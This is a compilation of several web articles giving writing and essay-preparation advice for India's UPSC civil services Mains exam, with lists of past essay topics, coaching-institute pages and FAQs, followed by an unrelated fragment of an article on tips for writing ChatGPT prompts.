Avoiding generalizations is a fundamental principle of critical thinking and effective communication. Generalizing involves making sweeping statements about a group, concept, or situation based on limited or anecdotal evidence. This practice can lead to misconceptions, biases, and unfair judgments. To enhance understanding and promote accuracy, it’s essential to recognize the diversity and complexity within any group or issue. By avoiding generalizations, we can foster more nuanced, respectful, and well-informed discussions, allowing us to appreciate the unique qualities and experiences that make each individual or circumstance distinct. In doing so, we promote a more open and inclusive society where people are seen for who they truly are, rather than being reduced to oversimplified stereotypes.

Prepare A Writing Structure

Preparing a writing structure is essential for crafting a coherent and effective piece of communication, whether it’s an essay, report, or any form of written content. It serves as the skeleton upon which your ideas are fleshed out, ensuring logical flow and clarity. Start by outlining your main points or arguments, providing a roadmap for your readers to follow. This structure should include an introduction that engages your audience, a body section where your ideas are presented and supported, and a conclusion that summarizes your key points and leaves a lasting impression. Within the body, consider using subheadings, bullet points, or numbered lists to organize information, making it more reader-friendly. A well-prepared structure not only helps you stay focused and maintain coherence in your writing but also makes it easier for your audience to understand and appreciate your message.

Write to the Point

“Write to the point” is a fundamental principle of effective communication and writing. It emphasizes the importance of clarity and conciseness in conveying your message. When you write to the point, you cut through unnecessary jargon, filler words, and convoluted sentences, ensuring that your message is straightforward and easily understood. This approach not only saves time for both the writer and the reader but also enhances the impact of your communication, making it more persuasive and memorable. Whether in business, academia, or everyday communication, writing to the point is a valuable skill that enables your ideas to shine through without getting lost in unnecessary complexity.

Improve Basics Like Tenses, Grammar, Etc.

Improving the fundamentals of language, such as tenses and grammar, is a foundational step in becoming a proficient communicator. These aspects of language serve as the building blocks upon which effective communication is built. Tenses provide clarity in expressing when actions occur, helping to convey a sense of time and sequence in a narrative or conversation. Grammar, on the other hand, ensures that sentences are structured coherently, reducing ambiguity and enabling a more precise conveyance of ideas. Mastering these basics not only enhances one’s writing and speaking abilities but also boosts confidence in conveying thoughts and ideas with accuracy and sophistication. Therefore, investing time in improving tenses, grammar, and related language skills is an essential endeavor for anyone looking to become a more effective and confident communicator.

Be You (Original)

In our constant pursuit of self-improvement and personal growth, it is essential to embrace the power of originality. While it’s valuable to draw inspiration from others and learn from their experiences, our journey of improvement should be uniquely our own. The path to self-betterment is not a one-size-fits-all approach; it’s a canvas where we get to craft our individual masterpieces. By infusing our aspirations and goals with originality, we infuse them with authenticity, passion, and a sense of purpose. Originality compels us to question the status quo, challenge conventional wisdom, and seek new, uncharted horizons for our personal growth. So, as we strive to improve, let’s remember that the most profound transformations often emerge from our originality and our willingness to blaze our distinct trails towards becoming the best versions of ourselves.

Practice makes perfect

The age-old adage “practice makes perfect” encapsulates the essence of human achievement and mastery. It acknowledges that continuous effort and repetition are the fundamental building blocks of expertise and success. Whether in the realms of sports, music, art, or any skill or discipline, it is through relentless practice that individuals refine their abilities, hone their techniques, and overcome challenges. This principle underscores that perfection is not an innate quality but rather a product of dedication and persistence. It encourages us to embrace the journey of growth, recognizing that each endeavor, no matter how small, contributes to the journey of improvement and excellence. “Practice makes perfect” serves as a timeless reminder that excellence is attainable through patient and unwavering commitment.

Some Tips on Improve writing skills

Here are some tips to help you enhance your writing skills:

  • Understand the Syllabus : Familiarize yourself with the UPSC Mains syllabus. This will help you identify the relevant topics and focus your preparation accordingly.
  • Read Extensively : Reading a wide range of materials, including newspapers, magazines, books, and academic journals, can improve your vocabulary, knowledge, and understanding of various topics.
  • Analyze Previous Years’ Papers : Go through past years’ UPSC Mains question papers to understand the pattern and type of questions asked. This can give you insights into the expected topics and their depth.
  • Practice Writing Regularly : The more you write, the better you become. Dedicate time to writing practice answers on various subjects. Try to stick to the word limit and time constraints imposed in the exam.
  • Answer Structure : Learn to structure your answers effectively. Each answer should have an introduction, body, and conclusion. Use headings and subheadings to make your answer more organized and readable.
  • Clarity and Conciseness : Be clear and concise in your writing. Avoid using jargon and overly complex sentences. Write in a straightforward manner that’s easy for the examiner to understand.
  • Use Examples and Data : Support your arguments with relevant examples, case studies, and data. This adds depth and credibility to your answers.
  • Practice Essay Writing : Essay writing is an important part of the Mains exam. Practice writing essays on a variety of topics. Focus on developing a coherent and structured argument.
  • Improve Time Management : Time management is crucial during the Mains exam. Practice writing answers within the prescribed time limits to ensure you can complete all sections.
  • Peer Review : Ask peers or mentors to review your writing. Constructive feedback can help you identify your weaknesses and areas for improvement.
  • Revision : Regularly revise what you’ve learned. This will help you retain information and recall it more effectively during the exam.
  • Stay Updated : Keep up with current affairs and developments, as they are often part of the UPSC Mains paper. Regularly read newspapers and magazines to stay informed.
  • Mind Your Handwriting : Ensure that your handwriting is neat and legible. Poor handwriting can make it difficult for the examiner to understand your answers.
  • Stay Calm and Confident : During the exam, maintain your composure and stay confident. Read the questions carefully and plan your answers before writing.
  • Mock Tests : Take mock tests to simulate exam conditions. This will help you get used to the time constraints and pressure of the actual exam.

Frequently Asked Questions (FAQs)

Faq 1: how can i improve my writing skills for upsc mains.

Answer: To enhance your writing skills for UPSC Mains, practice is key. Start by regularly writing essays, answers to previous years’ questions, and taking mock tests to simulate exam conditions. Reading high-quality newspapers, books, and academic journals can also expand your vocabulary and knowledge base, which is essential for effective writing.

FAQ 2: How can I structure my answers better in UPSC Mains exams?

Answer: Structuring your answers is crucial. Begin with an introduction that succinctly presents your viewpoint, followed by a clear and logical body that provides supporting arguments or evidence. End with a well-concluded summary. Use headings, subheadings, bullet points, and diagrams where appropriate to make your answer visually organized and easy to follow.

FAQ 3: How do I develop analytical and critical thinking in my writing for UPSC Mains?

Answer: To boost analytical and critical thinking, practice analyzing complex issues, reading diverse perspectives, and engaging in discussions. When writing, critically evaluate arguments, and support your points with well-reasoned explanations and evidence. Avoid overly one-sided or biased opinions.

FAQ 4: What is the role of revision in improving writing skills for UPSC Mains?

Answer: Revision is indispensable. After completing a draft, review and edit your work for clarity, grammar, and coherence. Take time to refine your writing and check for factual accuracy. Multiple revisions can help you refine your writing to meet the UPSC standards.

FAQ 5: How can I manage time effectively during the UPSC Mains exam to ensure I complete all the questions?

Answer: Time management is critical. Allocate a specific amount of time to each question based on its marks. Start with the questions you are most confident in to secure those marks quickly. Don’t dwell too long on a single question. If you run out of time for one question, move on to the next, and return later if time allows. Practicing timed mock tests will improve your time management skills.

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General Studies

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UPSC Essay Topics - Important Essay Topics for UPSC Mains 2023

By vajiram & ravi.

Essay Course for UPSC

UPSC CSE Mains 2023 Essay Question Paper

UPSC Mains Optional Test Series

Mentorship Program for UPSC 2024

Understanding UPSC Essay Topics holds significant importance as it evaluates the candidate's ability to analyse, present arguments, and communicate effectively. In this article, we will explore the diverse range of UPSC essay topics, their significance, and essential tips to excel in this section. Get ready to enhance your writing and analytical skills and make a strong impression on the evaluators with well-crafted essays.

UPSC Essay Paper

The Essay paper in the UPSC Mains examination requires candidates to write multiple essays , each on a different topic, chosen from a given list of options. The essay topics for UPSC cover a wide range of issues, including social, economic, political, cultural, and philosophical aspects, both national and international.

The essay paper holds significant weightage in the UPSC Mains examination, contributing 250 marks out of the total 1750 marks . Scoring well in this section can have a considerable impact on the overall ranking and selection for the coveted civil services.

Weekly UPSC Essay Topics By Vajiram & Ravi

The UPSC Essay Paper is an opportunity for candidates to demonstrate their proficiency in expressing ideas and analysing complex issues. Vajiram & Ravi Pensive-Weekly Essay Writing Programme provides you with two Essay Topics every Saturday based on the previous year's question papers and the changing trends analysis. You can submit your Essay for peer evaluation on vajiramandravi.com. This will help you nourish your writing skills, give you clarity of thought, and build the capacity to express opinions in a logical and coherent manner.

Important Essay Topics for UPSC 2023

The purpose of the essay paper is to assess the candidate's ability to critically analyse a topic, present well-structured arguments, and communicate their ideas effectively. It also evaluates their knowledge of various issues, their clarity of thought, and their capacity to express opinions in a logical and coherent manner.

Some of the Important Essay Topics to prepare for the UPSC Mains Examination 2023 are:

  • Gender Equality
  • Environment/Urbanization
  • Economic Growth
  • Federalism/Decentralization
  • Agriculture
  • Economics 

UPSC Essay Topics on Philosophy

Every year, UPSC typically provides you with two or more essay topics centred around philosophical thoughts, Indian philosophical schools, or quotes from notable personalities. To effectively address these philosophical topics, you should refer to Philosophy Books to gain a foundational understanding. Here is a list of UPSC Essay Topics on Philosophy :

  • Everything comes to him, who hustles while he waits.
  • We are always blind as we want to be.
  • You cannot step twice in the same river.
  • A disciplined mind brings happiness.
  • The price of Greatness is Responsibility.
  • People would rather Believe than Know.
  • Mind - A beautiful Servant? Or a dangerous Master?

UPSC Essay Topics on Art and Culture

The UPSC Essay Topics related to Indian society, art, and culture cover a wide range of subjects, offering great diversity. To gain knowledge about the static content on these topics, you should rely on fundamental books on society, as recommended for the exam. Here is a list of UPSC Essay Topics on Indian Art and Culture :

  • Culture changes with economic development.
  • Culture is what we are, Civilization is what we have.
  • Social reform is a myth if places of worship are open only to all castes and not to all genders.
  • Impact of Globalization on Indian Art and Culture.
  • Caste System - India’s Enduring Curse.
  • Godmen - A Threat to Indian Art and Culture?

UPSC Essay Topics on Science and Technology

UPSC essay topics on Science and Technology can largely be addressed through current affairs. You may also benefit from consulting a Science and Technology Book for UPSC to compose a comprehensive and well-rounded essay. Here are some UPSC Essay Topics on Science and Technology:

  • Deglobalisation is good for the world.
  • Science is organised Knowledge. Wisdom is Organised life.
  • Technology is a Weapon against Poverty.
  • Prioritising Education Technology for Global Growth.
  • Technology is the silent factor in International Relations.
  • Scientific and Technological Progress cannot be equated with Human Progress.

UPSC Essay Topics on Education

Education stands as one of the preferred UPSC Essay Topics, with an essay related to this subject often appearing in the paper each year. To tackle this topic effectively, you should stay abreast of Current Affairs , incorporating significant changes and advancements in the field. Let's explore some of the Essay topics for UPSC centred around education:

  • Self Education is a lifelong curiosity.
  • Education Breeds Peace.
  • Education is a progressive discovery of our own ignorance.
  • Education must also train one for quick, resolute and effective thinking.
  • Schooling is not Education.

UPSC Essay Topics on Polity and Governance

To comprehensively address Polity and Governance topics, you should acquire fundamental knowledge from Polity Books for UPSC and Current Affairs. These resources offer static information about relevant issues and their historical context, which proves valuable while writing UPSC Essay Topics on Polity. Here are some Essay Topics on Polity and Governance:

  • The Role of Politics in Development.
  • Should Youth in India Consider Politics as a Career?
  • Art, Freedom and Creativity will change society faster than politics.
  • The politics of Identity is the Politics of the Weak.
  • People should not be afraid of their Government. The Government should be afraid of its people.
  • Government Surveillance - Good or Bad?

UPSC Essay Topics on Economy

Essays concerning economic growth are frequently included in the Essay Paper. To tackle these topics effectively, you should refer to Economy Notes for UPSC to gain a comprehensive understanding. Once the fundamentals are grasped, you can enhance their essays by incorporating examples, data, and statistics to create a multidimensional perspective. Here is a list of UPSC Essay Topics on Economy:

  • We don't have to sacrifice a Strong Economy for a Healthy Environment.
  • India, a $5 trillion Economy - Dream or Reality?
  • Digital Economy: A leveller or a source of Economic Inequality?
  • Innovation is the key determinant of social welfare and economic growth.
  • Labour Reforms in India and its Role in Economic Growth.

UPSC Essay Topics on Social Issues

Social issues are a significant aspect of the UPSC essay paper, reflecting the candidates' understanding of societal challenges and their ability to propose viable solutions. These essays provide a platform for candidates to analyse, critique, and suggest measures for pressing social concerns. Topics related to social issues in the UPSC Essay paper may include:

  • Inclusivity and Plurality are the hallmarks of a Peaceful Society.
  • A Gender-sensitive Indian Society is a prerequisite for Women and Child Empowerment.
  • The weaker sections of Indian Society - are their Rights and Access to Justice getting Better?

Previous Year UPSC Essay Topics

Practising previous year's essay topics will help you become familiar with the UPSC exam pattern , word limit, and the types of essay questions frequently asked in the Mains Examination. Analysing past essay topics will also allow you to identify recurring themes and trends, enabling you to prioritise their preparation accordingly. Regular practice with past essay topics will instil confidence in you, helping you feel more comfortable and prepared for the actual exam.

  • Forests are the best case studies for economic excellence.
  • Poets are the unacknowledged legislators of the world.
  • History is a series of victories won by the scientific man over the romantic man.
  • A ship in the harbour is safe, but that is not what a ship is for.
  • The time to repair the roof is when the sun is shining.
  • A smile is the chosen vehicle for all ambiguities.
  • Just because you have a choice, it does not mean that any of them has to be right.

Tips to Excel in UPSC Essay Paper

  • Understand the Topics: Thoroughly comprehend the essay topics, including the keywords and instructions. Choose a topic that aligns with your strengths and interests.
  • Plan and Structure: Devote some time to plan your essay. Create an outline and organise your thoughts in a structured manner, with a clear introduction, body, and conclusion.
  • Be Objective: Present balanced arguments and avoid a biased or one-sided approach. Consider multiple perspectives and present a holistic view.
  • Provide Examples and Evidence: Support your arguments with relevant examples, data, quotes and evidence to strengthen your essay.
  • Maintain Clarity: Write in a clear and concise manner. Use simple language and avoid jargon or overly complex vocabulary.
  • Practice Regularly: Regular practice is essential to improve Essay writing skills. Write essays on diverse topics to enhance your versatility.
  • Time Management: Allocate appropriate time for planning, writing, and revising each essay to manage time effectively during the examination.
  • Revise and Edit: Review your essays for coherence, grammar, and structure. Make necessary edits to refine your work.

FAQs on UPSC Essay Topics

What are the important UPSC Essay Topics?

Here is a list of UPSC Essay Topics asked in Mains Examination previously:

  • Culture is what we are, civilization is what we have.
  • Simplicity is the ultimate sophistication.
  • What is research but a blind date with knowledge?
  • Best for an individual is not necessarily best for society.
  • Wisdom finds truth.
  • Ships don’t sink because of water around them, ships sink because of water that gets into them.
  • Patriarchy is the least noticed yet the most significant structure of social inequality.
  • Technology as the silent factor in international relations.

How do I Prepare for the UPSC Essay?

To prepare for the UPSC essay, focus on understanding the essay syllabus and past topics to identify recurring themes. Regularly practise writing essays on various topics to improve your writing skills and time management. Structure your essays with a clear introduction, main body, and conclusion.

Which is the best source to practise UPSC Essay Topics?

The best sources to prepare Essay for UPSC include official UPSC materials, newspapers, and magazines like The Hindu, Yojana , and Kurukshetra for current affairs, standard books on diverse subjects, government reports and publications, online platforms like PIB and PRS India, UPSC previous year papers for understanding the exam pattern, and regular practice of essay writing on various topics.

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how to improve essay writing skills for upsc

Essay Syllabus

In this article, we will discuss the UPSC essay syllabus and its importance in the preparation for the prestigious Civil Services Examination. The essay paper is a vital component of the UPSC mains exam, and it evaluates a candidate’s ability to express their thoughts in a concise and coherent manner. We will explore the structure and format of the essay paper, the types of topics that usually appear, and the approach that candidates should adopt while attempting the essay. By the end of this article, you will have a clear understanding of the IAS essay syllabus and how to prepare for it effectively.

Importance of Essay Paper

Aspiring candidates preparing for the UPSC IAS examination must pay close attention to the Essay Paper section. It holds significant weightage and plays a vital role in determining the candidate’s overall rank. You must dedicate time and effort to develop this skill, as the Essay Paper is a reflection of your critical analytical and comprehensive aptitude. This paper evaluates your presentation skills, creativity, and thought process. Moreover, it tests your ability to articulate your thoughts coherently and succinctly. So, start working on your writing skills from today to make the most of this crucial paper.

Syllabus Overview

The syllabus for the essay paper is not specifically defined . Aspiring civil servants preparing for the highly competitive UPSC IAS exam must focus their attention on the essay paper. This is where candidates can showcase their writing skills and analytical abilities.

The essay paper is divided into two sections, each consisting of four topics. Candidates are required to write two essays in a span of three hours. The essays carry a total of 250 marks and are a crucial part of the selection process. It covers a wide range of topics from socioeconomic issues, to political and philosophical musings.

However, it is important to note that candidates are not expected to be experts in any particular subject. Rather, the essay paper tests their ability to articulate their thoughts and opinions. It is crucial that candidates start preparing for the essay paper well in advance, paying careful attention to the type of essays and common mistakes to avoid.

Also Read, UPSC 2023

Types of Essays

When it comes to the UPSC Essay Syllabus , it’s crucial to understand the types of essays you’ll be asked to write. As such, you must know the different types of essays that are tested in the examination, such as Informative essays, Descriptive essays, Narrative essays, and Persuasive essays. Each type has its unique writing style, skill set, and format to adhere to.

Thus, mastering each essay type is important to score high marks in the exam. While an informative essay highlights the positive and negative points of the given topic, a descriptive essay must focus on describing the topic. The narrative essay must follow a story-style narration while the Persuasive essay must be written in a way to convince the reader about the given topic.

Therefore, a deep understanding of the types of essays is necessary to excel in the UPSC IAS Exam.

Topics for Essay Writing

The UPSC Essay paper is an important part of the Civil Services Examination. As a part of the UPSC essay syllabus , candidates need to write two essays for the examination. The essays are supposed to be on topics of national and international importance, relevant social, economic, and political issues, cultural, historical and geographical significance, and contemporary issues of interest.

The topics for essay writing can range from the economy, politics, education, health, women empowerment, environmental issues, human rights, current affairs, science, technology, and more. It is advisable to read newspapers and books to keep oneself updated with the latest developments and possible essay topics. Additionally, candidates can also refer to previous years’ question papers to understand the nature of the questions and topics that are frequently asked.

Candidates should choose a topic that they are familiar with and express their thoughts and opinions in a coherent and structured way. The essay should be well-researched, free from grammatical errors, and should have a clear introduction, body, and conclusion. By choosing the right topic and writing an impressive essay, candidates can score well on the UPSC IAS Essay paper .

Essay Writing Tips

Here are some tips for candidates to excel in the essay writing section:

  • Understand the topic: It’s important to read and comprehend the essay topic thoroughly. Ensure that you understand the question’s intent, the tone of the essay, and the arguments that you need to present.
  • Prepare an outline: Creating an outline before writing helps the writer organise their thoughts and arguments logically. It ensures that the essay is structured and coherent.
  • Write in a simple and lucid language: UPSC exams are not meant to test your vocabulary. Therefore, try to write in simple and clear language.
  • Stick to the word limit: The UPSC sets a word limit for each essay question. Exceeding the limit can result in a deduction of marks. Therefore, it is crucial to practice writing essays within the stipulated word limit.
  • Provide examples and facts: To support your arguments, use real-life examples and factual data to reinforce your views.

By following these tips and practising regularly, aspiring candidates can improve their essay-writing skills, making it easier to crack the UPSC exam successfully.

How to Prepare for an Essay Paper

The essay paper is an integral part of the UPSC IAS exam, and it requires a different level of preparation compared to other papers. In order to ace the essay paper, it is important to have a clear strategy and methodical approach.

First and foremost, it is essential to understand the types of essays that might appear in the exam. This will help in creating a plan for essay writing and practicing accordingly.

Another important aspect is staying updated on current affairs and trending topics. Keeping oneself informed about world events and happenings helps in generating ideas and content for the essay.

It is also crucial to focus on improving language skills and creative thinking. Reading widely, practicing writing every day, and taking mock essay tests can help in enhancing these skills.

When it comes to time management, it is recommended to allocate a fixed amount of time for brainstorming, outlining, and writing the essay. This helps in maintaining a structured and organized approach.

Lastly, it is crucial to avoid common mistakes like using too many quotes, memorizing essays, or not staying relevant to the topic. These mistakes can be easily avoided by focusing on the guidelines and practicing regularly.

Overall, preparing for the essay paper requires focus, dedication, and a structured approach. By following these tips, one can improve their chances of acing the essay paper and moving closer to their dream of becoming an IAS officer.

Common Mistakes to Avoid in Essay Writing

UPSC essay writing is an important component of the civil services examination. However, many students make some common mistakes while writing their essays that can prove detrimental to their scores. Here are a few errors to avoid when writing your UPSC essays :

  • Lack of clarity: One of the most common mistakes that students make is writing unclear or ambiguous essays. Ensure that the language and ideas that you use are clear and concise.
  • Overuse of quotes: Many students use too many quotations in their essays, which makes them sound less original. Try to use quotes sparingly, and only when they add significant value to your essay.
  • Poor structure: A well-structured essay requires an introduction, several paragraphs supporting your arguments, and a conclusion. Ensure that your essay has a clear and logical structure.
  • Lack of relevance: Many students write essays that are not directly relevant to the question asked, which can result in a reduced score. Make sure you understand the question and write an essay that is directly relevant to it.
  • Poor time management: UPSC essay writing requires a student to demonstrate their ability to write coherently and without errors within a given period. Students must manage their time effectively, allowing ample time for each paragraph, revision, and proofreading.
  • Lack of examples: Candidates should use examples from real life, which strengthens their arguments and provides more depth to their essays.

Avoid these common mistakes during your UPSC essay writing , and you are one step closer to achieving a high score that will make you proud.

Frequently Asked Questions (FAQs):-

Q1. Which type of essay comes in the IAS exam?

Ans: The four types of essays that come in the IAS exam are Informative essays, Descriptive essays, Narrative essays, and Persuasive essays.

Q2. How to write a UPSC-level essay?

Ans: Tips to write UPSC Essay are given in the article above.

Q3. What is a good score for a UPSC essay?

Ans: An average score falls within the range of 110-125. However, exceptional essays can receive marks as high as 150-160.

Q4. How long is the UPSC essay paper?

Ans: The candidate is to write two essays in a span of 3 hours with a word limit of 1000-1200 words per essay. There are two sections which contain 4 topics each and out of which the candidate has to pick a single topic from each section to write an essay on.

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How To Improve Writing Skills for the UPSC Mains Exam

How To Improve Writing Skills for the UPSC Mains Exam

There is no single "best way" to prepare for the UPSC exam. However, a good strategy is to start with the basics in order to give a strong foundation for your writing skills. Basic writing techniques like paragraph formation, sentence structure and grammar will help you build a solid base. This is how you can improve writing skills For UPSC mains exam.

With the UPSC mains exam consisting of nine descriptive papers, you have to score the minimum required marks for an interview call from the board. Thousands of people take this exam and study material that is mostly all similar. So, how do you distinguish your best answers from the rest? Well, one way to do that is by writing a style in which our answers are good, neat and systematic. The biggest thing to keep in mind is that the output text should not have any errors. Another option would be to write using aesthetics and have a clean grasp on facts. This article will give you insights on how to improve writing skills for UPSC mains exam and more tips on answer writing skills for the IAS exam.

1. Read a lot to improve writing :

Reading a lot is the best way to improve your writing, even if you're taking IAS preparations . The next time you read a newspaper or magazine, make sure to focus your attention on the written content style too. Reading more can help you subconsciously build good writing practices & benefit your own writing. So, the first step in improving your answer writing is to read more often.

2. Consistent Outline:

The rough outline is a basic structure to help guide your writing. You should have an introduction, body and conclusion. Try to keep them as consistent as possible.

3. Keep it simple without using a lot of jargon:

Keep your word choices simple when writing answers for the UPSC main exam. Declutter your answer by using fewer, but more impactful words. Don’t try and stuff your essay with unnecessary jargon; this will only bore readers. The essay will most likely be rejected by the examiner if it is written like someone who is trying to show off his knowledge.

4. No generalizations:

It's best to avoid generalizations when you write. Make sure the information you give is backed with facts & proof. Generalizations can lead to misconceptions that can make people feel attacked. For example, if you're writing about a certain type of system, don't say that all people like that kind or have a preference for it because not everybody does. Instead, focus on the facts and proof to back up your claims about the topic.

5. Do not overdo the embellishments:

People can easily over do the embellishments. It takes a lot of time to sit down and think about what would be appropriate for the audience. Sometimes it is hard to know when to stop and make sure that the writing has a good flow. People need to make sure they are not overwhelming their readers with too many details, but also not leaving them in the dark on any important information.

6. Remember to be original.

Do not copy the answers from the reading material onto your answer sheet. Write in a new way, but stay true to the course guidelines.

7. Practice makes perfect .

The exam for the UPSC is a difficult one, so it definitely helps to practice. There's no point in even taking the tests without practicing beforehand as this can help you win.

8. Always make sure your writing is free of grammatical , spelling and other errors.

In order to become proficient in IAS Exams , practice writing daily using the tips discussed above. Just knowing these tips is not enough to excel in the exam. With the intent of persuading the examiner that you have strong, sound knowledge and reasoning to become a first-class civil servant, write clear and concise answers. These answers should not only give required information but all other relevant points. And this is how you could improve writing skills for UPSC mains exam and pass with flying colors.

Kamaraj IAS Academy

Date: 19-Sep-2022

Author: kamaraj ias academy, what's new, ias -2024-25 prelims combined mains new batch starts - 08-02-2024, ias-2024 optional subject - sociology, public administration, tamil literature, and other optional admissions open, tnpsc group - iv test series, tnpsc group - iv '100 days program' new batch starts - 05-02-2024.

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UPSC Stories

An IAS Officer’s Useful Tools for Good Writing Skills

  • Ayodhya Prasad Singh
  • Published on 20 Aug 2022, 2:55 pm IST
  • 4 minutes read
  • 2013-batch IAS officer and DM of Sant Kabir Nagar, UP, Divya Mittal tweeted about acquiring good writing skills.
  • She explained what qualifies as good writing and how to improve one’s writing skills.
  • She suggested practical tips for writing and some tools that are useful for essays, articles, answer writing and more.
  • Share this article

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How to write well? Anyone can write. It is not about language or expression, but about thoughts! Practical tips for writing & some tools/resources Useful for essays, articles, answer writing and more🧵 Retweet for wider reach— Divya Mittal, IAS (@divyamittal_IAS) August 18, 2022

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Most important point – Recognize your audience and respect them. Tailor your writing for them. Hope you found this useful. Follow @divyamittal_IAS for more https://t.co/89quOr50Y7 — Divya Mittal, IAS (@divyamittal_IAS) August 18, 2022

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Tips to Improve Writing Skills for UPSC Exam

Tips to improve your writing skills for upsc exam.

Writing skills are an essential part of the UPSC exam, as it requires candidates to write answers, essays, and articles that are clear, concise, and well-structured. Here are some tips that can help improve your writing skills for the UPSC exam:

Image Source: Getty-Images

Read extensively

To write well, you must read widely. This will help you understand different writing styles, improve your vocabulary, and provide you with new ideas and perspectives.

Practice writing regularly

Writing regularly helps you develop a writing habit, which is essential for success in the UPSC exam. Set a goal of writing a certain number of words every day and stick to it.

Analyze previous year's question papers

Analyzing previous year's question papers will help you understand the exam pattern and the type of questions asked. This will also help you identify the areas where you need to improve.

Develop a writing plan

Before you start writing, create a plan for your essay or answer. This will help you structure your thoughts and ensure that your writing is coherent and logical.

Use active voice

Use active voice instead of passive voice to make your writing more engaging and clear.

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Focus on grammar and punctuation.

Grammatical errors and punctuation mistakes can reduce the clarity and effectiveness of your writing. Pay attention to grammar and punctuation rules and practice them regularly.

Develop a clear structure

Develop a clear structure for your essay or answer, with a strong introduction, body, and conclusion.

Use examples and evidence

Use relevant examples and evidence to support your arguments and strengthen your writing.

Avoid repetition

Avoid repeating the same point multiple times. Instead, use synonyms or different phrases to convey the same idea.

Seek feedback

Feedback is crucial for improving your writing skills. Seek feedback from your peers or mentors on your writing, and work on the areas that need improvement.

Thanks For Reading!

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Writing Skills for UPSC

How to Improve Your Writing Skills For UPSC – Training The Pen

Writing Skills for UPSC

You want to sit for the Indian Administrative Exams after your graduation. You still have about 3-4 years. Now is not the time for you to start studying. Because you might not remember all that you study now. Now is the time to hone some skills which will stand you in good stead and give you an edge when you sit for the exams. A very important part of these exams is the way you write your answers. It has often proved to be the biggest differentiator between the selected candidates and those that fail to make it.

Importance of writing in UPSC exam

Writing the answers in the UPSC exam might look easy as the word limit for the questions is 150 / 250 words. But, believe me, it is not. Each of the questions in the CSE has many dimensions to it. Each question is about applying your knowledge and connecting many issues. To draft an effective answer to such a question in the permitted word count takes some skill on part of the examinee. They are

  • good command over language
  • a good writing speed
  • a legible handwriting
  • presenting the answers well

So how much do you have to write in the UPSC exam?

There are 20 questions, all very subjective, to be attempted in 3 hours. That gives you 9 minutes to attempt each question. 9 minutes, during which you have to understand the question, structure your answer and write. About 1-1.5 minutes to think through and 7.5 minutes to write!! Each second has to be used extremely judiciously.

Developing good writing skills is also important from a competitive perspective.

Let me present a scenario.

Person A and Person B have the same level of preparation in terms of their knowledge, thinking and analytical abilities. In the Mains, Person A writes very analytical and cohesive answers adhering to the word and time limit. Person B writes answers which are all over the place and exceeds the word limit. Guess who scores higher. Person A. Because the answers make for readable copy and address the issues well.  Person B lost out on the opportunity to become an officer as the answers were not well presented. So your ability to write well can make or break your chances of clearing UPSC

Now that the importance of writing has been established, this brings us to the next question.

How can you develop these writing skills?

Understand that developing good writing skills doesn’t mean you have to be a Shakespeare to clear UPSC.

You just need to be able to present your thoughts in a well-structured and cohesive manner.

Let us now discuss how you can hone these skills from before you start earnest preparations.

1. Note Making On An Unruled Paper

You must read varied literary works, newspaper editorials, insightful books, watch videos on world affairs and then make notes about them.

Start penning down your thoughts, quite literally. Write them down using pen and paper. No typing here. Because that’s how the actual exam will be   Ensure you make those notes on an unruled paper, because that is what you will get in the exam. And without practice, writing in a single line is quite challenging.

2. Practice Writing Essays

  You could also write essays on different topics. I am giving examples of some topics we share with our students who opt for our ‘Foundation Course’. This will give you an idea.

  • Why do you want to be an IAS? What are the expectations from a Civil Servant in the modern world? (1000 words)
  • What is your idea of development? Explain in 1000 words.
  • Reading Introduction of ‘Development as Freedom’ and edit your answer to idea of the development in light of Sen’s views. (1000 words)
  • What is Middle Class as per your experience? Talk to at least 10 people and list down the traits of the middle class.
  • Research on at least 2 zones of Farm Crises in India and write a report on them, including what the government has been doing.
  • Read the chapter on ‘Land Reforms’ from Bipan Chandra and answer questions based on it.

3. Focus on clarity

Practice trying to think clearly first and then writing. Since you are using pen and paper, the aim should be to reduce the number of corrections. I am sure you will agree, no examiner would like to correct a shabby paper.

4. Time your writing

Last but not the least, keep a stopwatch ready with you and start timing every time you sit down to write.

Remember you have only 7.5 minutes to write a single answer and unless you get into the habit of writing a well-structured answer on time, it will be difficult in the actual exam.

So,I believe i have clearly emphasized on the importance of being able to write well-worded and effectively presented answers in the UPSC exam. It can and often does prove to be the making or breaking point for candidates. Your time starts now.

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About the Author

Akshay palande.

Akshay Palande is a passionate teacher helping hundreds of students in their UPSC preparation. With a degree in Mechanical Engineering and double masters in Public Administration and Economics, he has experience of teaching UPSC aspirants for 5 years. His subject of expertise are Geography, Polity, Economics and Environment and Ecology.

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17 Tips to Take Your ChatGPT Prompts to the Next Level

5 blue balls riding on 5 randomly arranged curved black tubes against a bright green backdrop

ChatGPT, Google Gemini, and other tools like them are making artificial intelligence available to the masses. We can now get all sorts of responses back on almost any topic imaginable. These chatbots can compose sonnets, write code, get philosophical, and automate tasks.

However, while you can just type anything you like into ChatGPT and get it to understand you. There are ways of getting more interesting and useful results out of the bot. This "prompt engineering" is becoming a specialized skill of its own.

Sometimes all it takes is the addition of a few more words or an extra line of instruction and you can get ChatGPT responses that are a level above what everyone else is seeing—and we've included several examples below.

While there's lots you can do with the free version of ChatGPT, a few of these prompts require a paid ChatGPT Plus subscription —where that's the case, we've noted it in the tip.

ChatGPT can give you responses in the form of a table if you ask. This is particularly helpful for getting information or creative ideas. For example, you could tabulate meal ideas and ingredients, or game ideas and equipment, or the days of the week and how they're said in a few different languages.

Using follow-up prompts and natural language, you can have ChatGPT make changes to the tables it has drawn and even produce the tables in a standard format that can be understood by another program (such as Microsoft Excel).

If you provide ChatGPT with a typed list of information, it can respond in a variety of ways. Maybe you want it to create anagrams from a list of names, or sort a list of products into alphabetical order, or turn all the items in a list into upper case. If needed, you can then click the copy icon (the small clipboard) at the end of an answer to have the processed text sent to the system clipboard.

Screenshot of ChatGPT

Get ChatGPT to respond as your favorite author.

With some careful prompting, you can get ChatGPT out of its rather dull, matter-of-fact, default tone and into something much more interesting—such as the style of your favorite author, perhaps.

You could go for the searing simplicity of an Ernest Hemingway or Raymond Carver story, the lyrical rhythm of a Shakespearean play, or the density of a Dickens novel. The resulting prose won't come close to the genius of the actual authors themselves, but it's another way of getting more creative with the output you generate.

ChatGPT can really impress when it's given restrictions to work within, so don't be shy when it comes to telling the bot to limit its responses to a certain number of words or a certain number of paragraphs.

It could be everything from condensing the information in four paragraphs down into one, or even asking for answers with words of seven characters or fewer (just to keep it simple). If ChatGPT doesn't follow your responses properly, you can correct it, and it'll try again.

Another way of tweaking the way ChatGPT responds is to tell it who the intended audience is for its output. You might have seen WIRED's videos in which complex subjects are explained to people with different levels of understanding. This works in a similar way.

